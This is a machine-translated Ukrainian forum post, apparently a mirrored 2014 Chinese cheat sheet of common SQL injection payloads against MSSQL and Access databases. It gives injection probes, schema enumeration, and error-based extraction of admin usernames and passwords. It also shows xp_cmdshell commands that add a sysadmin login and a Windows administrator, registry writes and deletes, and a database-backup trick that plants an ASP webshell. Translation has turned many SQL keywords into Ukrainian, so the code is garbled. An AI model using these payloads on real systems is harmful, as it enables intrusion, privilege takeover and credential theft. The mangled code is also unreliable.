Ця стаття є дзеркальною статтею машинного перекладу, будь ласка, натисніть тут, щоб перейти до оригінальної статті.

Вид: 14167|Відповідь: 0

[Безпечне спілкування] Поширені оператори SQL ін'єкції

[Копіювати посилання]
Опубліковано 22.11.2014 17:17:21 | | |
1. Визначити, чи є ін'єкція
; та 1=1
; та 1=2

2. Попереднє рішення про те, чи є це mssql
; та користувач>0

3. Оцінюйте систему баз даних
; та (вибрати count(*) з sysobjects)>0 mssql
; та (вибрати count(*) з msysobjects)>0 доступу

4. Параметр ін'єкції — це символ
'та [критерії запиту] та ''='

5. Під час пошуку немає відфільтрованих параметрів
'та [критерії запиту] та '%25'='

6. Вгадайте назву столу
; та (виберіть Count(*) з [назва таблиці])>0

7. Вгадай поле
; та (вибрати Count (ім'я поля) з назви таблиці)>0

8. Вгадайте тривалість рекорду в полі
; та (вибрати топ-1 len(ім'я поля) з назви таблиці)>0

9. (1) Вгадайте ASCII-значення поля (access)
; та (вибрати топ-1 ASC (півполе (ім'я поля, 1,1)) з назви таблиці)>0

(2) Вгадайте ASCII-значення поля (mssql)
; та (вибрати топ-1 Unicode(підрядок(ім'я поля,1,1)) з назви таблиці)>0

10. Структура дозволу на тестування (mssql)
; та 1=(вибрати IS_SRVROLEMEMBER('sysadmin')); --
; та 1=(вибрати IS_SRVROLEMEMBER('serveradmin')); --
; та 1=(вибрати IS_SRVROLEMEMBER('setupadmin')); --
; та 1=(вибрати IS_SRVROLEMEMBER('securityadmin')); --
; та 1=(вибрати IS_SRVROLEMEMBER('diskadmin')); --
; та 1=(вибрати IS_SRVROLEMEMBER('bulkadmin')); --
; та 1=(вибрати IS_MEMBER('db_owner')); --

11. Додайте обліковий запис для mssql та системи
; виконавчий master.dbo.sp_addlogin ім'я користувача; --
; exec master.dbo.sp_password null, ім'я користувача, пароль; --
; exec master.dbo.sp_addsrvrolemember ім'я користувача sysadmin; --
; виконавчий master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'net user username password /add'; --
; Exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; --

12. (1) Перегляньте каталог
; Create table dirs(Paths varchar(100), id int)
; вставити директори exec master.dbo.xp_dirtree 'c:\'
; та (вибрати топ-1 шлях із директорів)>0
; та (виберіть верхній 1 шлях із DIRS, де шляхи не входять ('шляхи, отримані з попереднього кроку'))>)

(2) Перегляд каталогу
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; вставити тимчасовий виконавчий master.dbo.xp_availablemedia; -- Візьми всі поточні диски
; вставити у temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Отримати список підкаталогів
; вставити у temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Отримати структуру дерева каталогів для всіх підкаталогів
; Вставити у temp(id) exec master.dbo.xp_cmdshell 'ввести C:\web\index.asp'; -- Переглянути вміст файлу

13. Збережені процедури в mssql
xp_regenumvalues Кореневий ключ реєстру, дочірній ключ
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' повертає всі ключові значення у кількох наборах записів
xp_regread Кореневий ключ, дочірній ключ, ім'я значення ключа
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' повертає значення встановленого ключа
xp_regwrite Кореневий ключ, дочірній ключ, ім'я значення, тип значення, значення
Існує два типи значень: REG_SZ REG_DWORD для типів символів і для цілих чисел
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' до реєстру
xp_regdeletevalue Кореневий ключ, підключ, ім'я значення
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' для видалення значення
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' для видалення ключа, включаючи всі значення під цим ключем

14. Резервне копіювання MSSQL створює вебшелл
Модель використання
створити таблицю cmd (зображення str);
вставити у значення cmd(str) ('<% Dim oScript %>');
резервне копіювання моделі бази даних на disk='c:\l.asp';

15. Вбудовані функції MSSQL
; та (виберіть @@version)>0, щоб отримати номер версії Windows
; та user_name()='dbo' для визначення, чи є підключений користувач поточної системи SA
; та (вибрати user_name())>0 Вибухнули підключених користувачів поточної системи
; та (виберіть db_name())>0, щоб отримати поточну підключену базу даних



Порушення з ручною анотацією баз даних MSSQL

1. Відкрити поточну назву таблиці та назву стовпця
Введіть "'having 1=1--" після точки введення, щоб отримати відповідне повідомлення англійською мовою, в якому можна побачити назву таблиці та назву стовпця. Відправте "group by the list name with 1=1--", щоб отримати іншу назву стовпця; Продовжуйте подавати групу за списком відкритої назви таблиці, назвою відкритої таблиці. Друга назва стовпця має 1=1--", що дає іншу назву стовпця. Комітуйте так само, поки сторінка не перестане повертати повідомлення про помилки, щоб отримати всі назви стовпців. Цікаві факти: Violent Table Names та Column Names використовуються у поєднанні з GROUP BY у SQL-операторах для умовних рішень. Оскільки оператор є неповним, база даних повертає повідомлення про помилку і відображає назву таблиці та назву стовпця. Базовий метод може відкривати лише поточну таблицю в базі даних, і якщо таблиця містить багато назв стовпців, дуже складно використовувати базовий метод.

По-перше. Всі імена баз даних відкриті
Використовуйте оператор "and 0<>(select count(*) from master.dbo.sysdatabases, де name>1 і dbid=[N])" для відкриття довільних назв таблиць і колонок у базі даних, де "[N]" представляє N-ту таблицю в базі даних.
Крок 1: Після введення точки введіть наступне твердження: "and 0<>(select count(*) from master.dbo.sysdatabases, де name>1 і dbid=12)", оскільки значення dbid знаходиться від 1 до 5, яке використовується системою, тому користувач мав побудувати його з 6, і ми ввели ім'я>1, поле імені є типом символу, і порівняння чисел буде неправильним, тому після подання IE поверне таку інформацію: «Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] перетворює значення nvarchar 'Northwind' у тип даних int колонка. Таким чином, значення поля імені відкривається, тобто ми отримуємо назву бази даних «Northwind». Зміна значення "dbid" дозволяє отримати всі імена бази даних.

та 0<>(вибрати count(*) з master.dbo.sysdatabases, де name>1 і dbid=[N])-- Змінити N, щоб вибухнути всі імена баз даних з 6


По-друге. Вивести всі назви таблиць у вказаній базі даних
Після отримання імені бази даних потрібно отримати всі імена таблиць у бібліотеці, подати таку заяву: "and 0<>(виберіть топ-1 ім'я з master.dbo.sysobjects, де xtype='U')", ось ім'я таблиці в головній базі даних, а SQL-оператор запиту повертає значення імені, а потім порівнює його з числом 0, щоб значення імені було відкрите. Після подання заявки назва столу була «'spt_monito» була відкрита.
Потім відкриваються інші таблиці, і подається наступне твердження: "and 0<>(виберіть топ-1 ім'я з master.dbo.sysobjects, де xtype='U' і ім' не в('spt_monito')))", і відкривається ще одна таблиця під назвою "cd512". Файл "і ім'я не в(' spt_monito',' CD512',..))" Ви можете дізнатися всі назви столів.

та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.sysobjects, де xtype='U')--
та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази].dbo.sysobjects, де xtype='U' і ім' не в('[Exploed table name]'))--
та 0<>(виберіть назву топ-1 з [вкажіть назву бази даних].dbo.sysobjects, де xtype='U' і ім' не в('[Ім'я вибухової таблиці]', '[Вибухнута назва другої таблиці]')))--

4. Вивести всі назви стовпців у вказаній таблиці
та 0<>(виберіть count(*) з bbs.dbo.sysobjects, де xtype='U' та name='admin' та uid>(str(id)))
Конвертуйте значення ID у тип символу, а потім порівняйте його з цілочисельним. Ідентифікаційний номер вийшов. Значення: 949578421 name='назва таблиці'

та 0<>(виберіть топ-1 ім'я з wutong.dbo.syscolumns, де id=949578421)-- Ім'я поля в таблиці адміністратора відкривається

Повторно надіслати і 0<>(вибрати топ-1 ім'я з wutong.dbo.syscolumns, де id=949578421 а ім'я не в('adduser')))--
Файл "і ім'я не в(' spt_monito',' CD512',..))" Всі назви полів можна знайти в таблиці адміністратора.


та 0<>(вибрати count(*) з [вкажи назву бази].dbo.sysobjects, де xtype='U' та name='[Назва таблиці поля, що підлягає вибуху]' та uid>(str(id))) — ID-значення імені таблиці поля, яке підлягає вибуху

та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.syscolumns, де id=exploded id value) — ім'я поля в таблиці значень вибухового id

та 0<>(виберіть топ-1 ім'я з [вкажіть назву бази даних].dbo.syscolumns, де id=Вибухове значення id і ім'я не в('[Exploed field name]')))--



5. Прочитайте дані у вказаній таблиці

та 0<(виберіть A_ID з wutong.dbo.admin, де A_UserID>1) — контент, який зламав A_PWD

та 0<(виберіть [поле, що існує] з [вкажіть назву бази даних].dbo.[назва таблиці до запиту], де [ім'я поля для вибухового вмісту]>1)--

та 0<(виберіть A_ID з wutong.dbo.admin, де A_PWD>1 і A_UserID='admin') — Пароль адміністратора відкритий


та 0<(Виберіть Top 1 A_UserID FROM admin, де A_ID<>1) — ім'я адміністратора id<>1 (fuhao)

і 0<(Виберіть Топ-1 A_UserID З адміністратора, де A_ID <>1 і A_UserID <> 'fuhao') — ім'я другого адміна <> не дорівнює (tuiguang)

і 0<(Виберіть Топ-1 A_UserID З адміністрації, де A_ID <>1 і A_UserID <> 'fuhao' і A_UserID <> 'tuiguang')--

Після того, як ви знаєте назву таблиці та назву стовпця бази даних, ви можете використати "оператор запиту", щоб прочитати будь-яку інформацію з бази даних. Наприклад, якщо ви хочете прочитати N-ті дані у стовпці таблиці, ви можете подати заяву: "and (Виберіть назву Top 1 column name FROM table name, де id=[N])>1" ([N] позначає N-ті дані у стовпці), і ви зможете дізнатися потрібні дані з інформації, яку повертає IE.






Попередній:Як приховати стиснений rar-файл у jpg-файлі
Наступний:Зберіть «Гаррі Поттера» 1~7 Дістаньте і поділіться Якщо не подобається — не розпилюйте
Застереження:
Усе програмне забезпечення, програмні матеріали або статті, опубліковані Code Farmer Network, призначені лише для навчання та досліджень; Вищезазначений контент не повинен використовуватися в комерційних чи незаконних цілях, інакше користувачі несуть усі наслідки. Інформація на цьому сайті надходить з Інтернету, і спори щодо авторських прав не мають до цього сайту. Ви повинні повністю видалити вищезазначений контент зі свого комп'ютера протягом 24 годин після завантаження. Якщо вам подобається програма, будь ласка, підтримуйте справжнє програмне забезпечення, купуйте реєстрацію та отримайте кращі справжні послуги. Якщо є будь-яке порушення, будь ласка, зв'яжіться з нами електронною поштою.

Mail To:help@itsvse.com